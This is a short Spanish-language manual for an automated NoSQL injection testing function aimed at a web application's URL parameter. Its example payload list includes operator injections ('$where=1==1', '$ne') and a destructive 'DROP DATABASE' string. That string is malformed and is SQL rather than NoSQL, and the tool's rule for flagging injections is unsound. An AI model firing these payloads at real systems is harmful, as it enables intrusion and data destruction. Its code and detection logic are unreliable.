

Manual de uso

El código permite realizar pruebas automatizadas de vulnerabilidades de inyección NoSQL en una aplicación web.

Pasos para usar la función:

1. Importar las bibliotecas necesarias

```
import requests
```

```
import json
```

2. Definir los parámetros de prueba

url: La URL de la aplicación web que desea probar.

parameter_name: El nombre del parámetro de la URL en el que se inyectarán los payloads.

payloads: Una lista de cadenas que contienen los payloads de inyección NoSQL a utilizar.

Ejemplo:

```
url = "https://ejemplo.com/search?q="
```

```
parameter_name = "q"
```

```
payloads = [
```

```
    "$where=1==1",
```

```
    "{}$ne: 'admin'",
```

```
    "" ; DROP DATABASE exampledb; #"
```

```
]
```

3. Ejecutar la función y obtener los resultados

```
results = nosql_injection_test(url, parameter_name, payloads)
```

La variable *results* contendrá un diccionario con los resultados de las pruebas para cada payload. La clave del diccionario será el payload y el valor será un mensaje que indica el resultado de la prueba:

- Error de decodificación JSON: Si la respuesta HTTP no pudo ser decodificada como JSON.
- Error en la respuesta: Si la respuesta JSON contiene un campo "error" con un valor no vacío.
- Posible inyección NoSQL: Si no se detectaron errores en la respuesta JSON, lo que sugiere una posible inyección exitosa.
- Código de error HTTP: Si la solicitud HTTP no recibió un código de estado 200 (éxito).